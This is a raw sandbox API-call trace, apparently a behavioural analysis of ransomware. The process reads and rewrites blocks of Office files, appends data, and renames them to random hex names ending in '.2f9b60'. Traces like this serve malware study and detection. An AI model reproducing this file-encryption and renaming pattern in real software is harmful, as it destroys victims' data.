[0179.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421b3dd0) returned 1 [0179.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f3b0 [0179.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62a00 [0179.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba4e0 [0179.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859dc0 [0179.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859dc0) returned 1 [0179.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f0b0 [0179.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859dc0 [0179.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b260 [0179.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b260) returned 1 [0179.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba4e0) returned 1 [0179.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62a00) returned 1 [0179.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x42c20ed0 [0179.957] SetFilePointerEx (in: hFile=0x1f7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0179.957] WriteFile (in: hFile=0x1f7c, lpBuffer=0x42c20ed0*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3eb0fbd0, lpOverlapped=0x0 | out: lpBuffer=0x42c20ed0*, lpNumberOfBytesWritten=0x3eb0fbd0*=0x11a, lpOverlapped=0x0) returned 1 [0201.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ed90 [0201.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9410 [0201.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9410) returned 1 [0201.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1cdd9410 [0201.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9110 [0201.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9170 [0201.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9170) returned 1 [0201.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed90) returned 1 [0201.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b859390 [0201.651] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="90") returned 2 [0201.651] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="48") returned 2 [0201.651] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="e8") returned 2 [0201.651] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="4f") returned 2 [0201.651] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="fe") returned 2 [0201.651] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="c5") returned 2 [0201.651] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="01") returned 2 [0201.651] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="59") returned 2 [0201.651] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="2c") returned 2 [0201.651] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="f7") returned 2 [0201.651] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="8a") returned 2 [0201.651] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="f8") returned 2 [0201.651] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="9a") returned 2 [0201.651] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="b4") returned 2 [0201.651] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="f3") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="f6") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="35") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="76") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="a8") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="f8") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="d5") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="46") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="e6") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="29") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="2f") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="22") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="07") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="d6") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="b4") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="88") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="d3") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="fe") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="e4") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="94") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="14") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="18") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="34") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="1c") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593dc, _Format="%c%c" | out: _Dest="05") returned 2 [0201.652] sprintf (in: _Dest=0x1b8593de, _Format="%c%c" | out: _Dest="5e") returned 2 [0201.652] RtlInitAnsiString (in: DestinationString=0x3eb0fc48, SourceString="9048e84ffec501592cf78af89ab4f3f63576a8f8d546e6292f2207d6b488d3fee4941418341c055e" | out: DestinationString="9048e84ffec501592cf78af89ab4f3f63576a8f8d546e6292f2207d6b488d3fee4941418341c055e") [0201.652] RtlAnsiStringToUnicodeString (in: DestinationString=0x3eb0fc18, SourceString="9048e84ffec501592cf78af89ab4f3f63576a8f8d546e6292f2207d6b488d3fee4941418341c055e", AllocateDestinationString=1 | out: DestinationString="9048e84ffec501592cf78af89ab4f3f63576a8f8d546e6292f2207d6b488d3fee4941418341c055e") returned 0x0 [0201.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431a7900 [0201.653] wcscat (in: _Dest=0x43197440, _Source="9048e84ffec501592cf7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\9048e84ffec501592cf7") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\9048e84ffec501592cf7" [0201.653] wcscat (in: _Dest=0x43197440, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\9048e84ffec501592cf7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\9048e84ffec501592cf7.2f9b60" [0201.653] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\9048e84ffec501592cf7.2f9b60", NtPathName=0x3eb0fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\9048e84ffec501592cf7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x4314c0a0 Thread: id = 2242 os_tid = 0x774 [0143.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll")) returned 0x20 [0145.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL", dwFileAttributes=0x20) returned 1 [0146.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f08 [0146.718] GetFileSizeEx (in: hFile=0x1f08, lpFileSize=0x3e42fce0 | out: lpFileSize=0x3e42fce0*=100224) returned 1 [0146.718] SetFilePointerEx (in: hFile=0x1f08, liDistanceToMove=0x1877c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.718] ReadFile (in: hFile=0x1f08, lpBuffer=0x3e42fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e42fca8, lpOverlapped=0x0 | out: lpBuffer=0x3e42fc60*, lpNumberOfBytesRead=0x3e42fca8*=0x4, lpOverlapped=0x0) returned 1 [0146.737] SetFilePointerEx (in: hFile=0x1f08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ab0 [0146.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b70 [0146.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0146.738] NtQuerySystemTime (in: CurrentTime=0x3e42fba0 | out: CurrentTime=0x3e42fba0*=132462177519826000) returned 0x0 [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x4349408b [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x3a7f8f2e [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x76658511 [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x4007fbdd [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0xa1ac852 [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x4c7e5113 [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x1fbe4a7a [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x549abb0b [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x1b543c10 [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x121c5c62 [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x74c7803c [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x76cd8653 [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x7217b889 [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x3a139d37 [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x134d66d7 [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x1db78835 [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x777d6904 [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x4c1344ee [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x5e7d12f8 [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x68612075 [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x19cd463b [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x47e23cd8 [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x36a6e7d9 [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x240d0d61 [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x11dbab5d [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x6fdedc39 [0146.738] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x7ff5ccaa [0146.739] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x5a349e59 [0146.739] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x1035e15f [0146.739] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x39665c14 [0146.739] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x405eab78 [0146.739] RtlRandomEx (in: Seed=0x3e42fb90 | out: Seed=0x3e42fb90) returned 0x11c6aae2 [0146.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0146.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0146.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced81f0 [0146.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0146.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0146.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ab0) returned 1 [0146.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4235b4e0 [0146.748] SetFilePointerEx (in: hFile=0x1f08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.748] ReadFile (in: hFile=0x1f08, lpBuffer=0x4235b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e42fc00, lpOverlapped=0x0 | out: lpBuffer=0x4235b4e0*, lpNumberOfBytesRead=0x3e42fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0146.763] SetFilePointerEx (in: hFile=0x1f08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0146.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866a40 [0146.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ab0 [0146.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ab0) returned 1 [0146.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42366910 [0146.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ab0 [0146.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0146.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0146.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866a40) returned 1 [0146.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0146.765] WriteFile (hFile=0x1f08, lpBuffer=0x42366910, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e42fc00, lpOverlapped=0x0) [0176.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42366910) returned 1 [0176.624] SetFilePointerEx (in: hFile=0x1f08, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.624] ReadFile (in: hFile=0x1f08, lpBuffer=0x4235b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e42fc00, lpOverlapped=0x0 | out: lpBuffer=0x4235b4e0*, lpNumberOfBytesRead=0x3e42fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0176.652] SetFilePointerEx (in: hFile=0x1f08, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0176.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0176.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7a30 [0176.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7a30) returned 1 [0176.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423bd540 [0176.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7a30 [0176.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7a60 [0176.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7a60) returned 1 [0176.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0176.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0176.655] WriteFile (in: hFile=0x1f08, lpBuffer=0x423bd540*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e42fc00, lpOverlapped=0x0 | out: lpBuffer=0x423bd540*, lpNumberOfBytesWritten=0x3e42fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0186.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423bd540) returned 1 [0186.531] SetFilePointerEx (in: hFile=0x1f08, liDistanceToMove=0x14b80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.531] ReadFile (in: hFile=0x1f08, lpBuffer=0x4235b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e42fc00, lpOverlapped=0x0 | out: lpBuffer=0x4235b4e0*, lpNumberOfBytesRead=0x3e42fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0186.856] SetFilePointerEx (in: hFile=0x1f08, liDistanceToMove=0x14b80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bfe0 [0186.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8687c0 [0186.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2dda0 [0186.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2dda0) returned 1 [0186.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429edaa0 [0186.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2dda0 [0186.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ddd0 [0186.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ddd0) returned 1 [0186.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 [0186.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bfe0) returned 1 [0186.859] WriteFile (in: hFile=0x1f08, lpBuffer=0x429edaa0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e42fc00, lpOverlapped=0x0 | out: lpBuffer=0x429edaa0*, lpNumberOfBytesWritten=0x3e42fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0204.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429edaa0) returned 1 [0204.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15220 [0204.738] SetFilePointerEx (in: hFile=0x1f08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0204.738] WriteFile (in: hFile=0x1f08, lpBuffer=0x1ceb7d60*, nNumberOfBytesToWrite=0x15c, lpNumberOfBytesWritten=0x3e42fcb0, lpOverlapped=0x0 | out: lpBuffer=0x1ceb7d60*, lpNumberOfBytesWritten=0x3e42fcb0*=0x15c, lpOverlapped=0x0) returned 1 [0215.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058420 [0215.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebba60 [0215.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9f40 [0215.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9f40) returned 1 [0215.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7aa120 [0215.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9f40 [0215.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e80 [0215.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e80) returned 1 [0215.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebba60) returned 1 [0215.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058420) returned 1 [0215.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd86550 [0215.751] sprintf (in: _Dest=0x1cd86550, _Format="%c%c" | out: _Dest="95") returned 2 [0215.751] sprintf (in: _Dest=0x1cd86552, _Format="%c%c" | out: _Dest="27") returned 2 [0215.751] sprintf (in: _Dest=0x1cd86554, _Format="%c%c" | out: _Dest="d3") returned 2 [0215.751] sprintf (in: _Dest=0x1cd86556, _Format="%c%c" | out: _Dest="cd") returned 2 [0215.751] sprintf (in: _Dest=0x1cd86558, _Format="%c%c" | out: _Dest="6b") returned 2 [0215.751] sprintf (in: _Dest=0x1cd8655a, _Format="%c%c" | out: _Dest="77") returned 2 [0215.751] sprintf (in: _Dest=0x1cd8655c, _Format="%c%c" | out: _Dest="66") returned 2 [0215.751] sprintf (in: _Dest=0x1cd8655e, _Format="%c%c" | out: _Dest="11") returned 2 [0215.751] sprintf (in: _Dest=0x1cd86560, _Format="%c%c" | out: _Dest="f7") returned 2 [0215.751] sprintf (in: _Dest=0x1cd86562, _Format="%c%c" | out: _Dest="1b") returned 2 [0215.751] sprintf (in: _Dest=0x1cd86564, _Format="%c%c" | out: _Dest="d2") returned 2 [0215.751] sprintf (in: _Dest=0x1cd86566, _Format="%c%c" | out: _Dest="49") returned 2 [0215.751] sprintf (in: _Dest=0x1cd86568, _Format="%c%c" | out: _Dest="a5") returned 2 [0215.751] sprintf (in: _Dest=0x1cd8656a, _Format="%c%c" | out: _Dest="e9") returned 2 [0215.751] sprintf (in: _Dest=0x1cd8656c, _Format="%c%c" | out: _Dest="9b") returned 2 [0215.751] sprintf (in: _Dest=0x1cd8656e, _Format="%c%c" | out: _Dest="eb") returned 2 [0215.751] sprintf (in: _Dest=0x1cd86570, _Format="%c%c" | out: _Dest="f3") returned 2 [0215.751] sprintf (in: _Dest=0x1cd86572, _Format="%c%c" | out: _Dest="8e") returned 2 [0215.751] sprintf (in: _Dest=0x1cd86574, _Format="%c%c" | out: _Dest="5b") returned 2 [0215.751] sprintf (in: _Dest=0x1cd86576, _Format="%c%c" | out: _Dest="6a") returned 2 [0215.751] sprintf (in: _Dest=0x1cd86578, _Format="%c%c" | out: _Dest="98") returned 2 [0215.751] sprintf (in: _Dest=0x1cd8657a, _Format="%c%c" | out: _Dest="a9") returned 2 [0215.751] sprintf (in: _Dest=0x1cd8657c, _Format="%c%c" | out: _Dest="80") returned 2 [0215.751] sprintf (in: _Dest=0x1cd8657e, _Format="%c%c" | out: _Dest="74") returned 2 [0215.751] sprintf (in: _Dest=0x1cd86580, _Format="%c%c" | out: _Dest="88") returned 2 [0215.752] sprintf (in: _Dest=0x1cd86582, _Format="%c%c" | out: _Dest="47") returned 2 [0215.752] sprintf (in: _Dest=0x1cd86584, _Format="%c%c" | out: _Dest="bd") returned 2 [0215.752] sprintf (in: _Dest=0x1cd86586, _Format="%c%c" | out: _Dest="f3") returned 2 [0215.752] sprintf (in: _Dest=0x1cd86588, _Format="%c%c" | out: _Dest="b6") returned 2 [0215.752] sprintf (in: _Dest=0x1cd8658a, _Format="%c%c" | out: _Dest="83") returned 2 [0215.752] sprintf (in: _Dest=0x1cd8658c, _Format="%c%c" | out: _Dest="3a") returned 2 [0215.752] sprintf (in: _Dest=0x1cd8658e, _Format="%c%c" | out: _Dest="8e") returned 2 [0215.752] sprintf (in: _Dest=0x1cd86590, _Format="%c%c" | out: _Dest="20") returned 2 [0215.752] sprintf (in: _Dest=0x1cd86592, _Format="%c%c" | out: _Dest="f1") returned 2 [0215.752] sprintf (in: _Dest=0x1cd86594, _Format="%c%c" | out: _Dest="57") returned 2 [0215.752] sprintf (in: _Dest=0x1cd86596, _Format="%c%c" | out: _Dest="99") returned 2 [0215.752] sprintf (in: _Dest=0x1cd86598, _Format="%c%c" | out: _Dest="1d") returned 2 [0215.752] sprintf (in: _Dest=0x1cd8659a, _Format="%c%c" | out: _Dest="75") returned 2 [0215.752] sprintf (in: _Dest=0x1cd8659c, _Format="%c%c" | out: _Dest="d7") returned 2 [0215.752] sprintf (in: _Dest=0x1cd8659e, _Format="%c%c" | out: _Dest="87") returned 2 [0215.752] sprintf (in: _Dest=0x1cd865a0, _Format="%c%c" | out: _Dest="ec") returned 2 [0215.752] sprintf (in: _Dest=0x1cd865a2, _Format="%c%c" | out: _Dest="0d") returned 2 [0215.752] RtlInitAnsiString (in: DestinationString=0x3e42fd28, SourceString="9527d3cd6b776611f71bd249a5e99bebf38e5b6a98a980748847bdf3b6833a8e20f157991d75d787ec0d" | out: DestinationString="9527d3cd6b776611f71bd249a5e99bebf38e5b6a98a980748847bdf3b6833a8e20f157991d75d787ec0d") [0215.752] RtlAnsiStringToUnicodeString (in: DestinationString=0x3e42fcf8, SourceString="9527d3cd6b776611f71bd249a5e99bebf38e5b6a98a980748847bdf3b6833a8e20f157991d75d787ec0d", AllocateDestinationString=1 | out: DestinationString="9527d3cd6b776611f71bd249a5e99bebf38e5b6a98a980748847bdf3b6833a8e20f157991d75d787ec0d") returned 0x0 [0215.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1ce220e0 [0215.753] wcscat (in: _Dest=0x1ce16df0, _Source="9527d3cd6b776611f71bd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\9527d3cd6b776611f71bd") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\9527d3cd6b776611f71bd" [0215.753] wcscat (in: _Dest=0x1ce16df0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\9527d3cd6b776611f71bd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\9527d3cd6b776611f71bd.2f9b60" [0215.753] 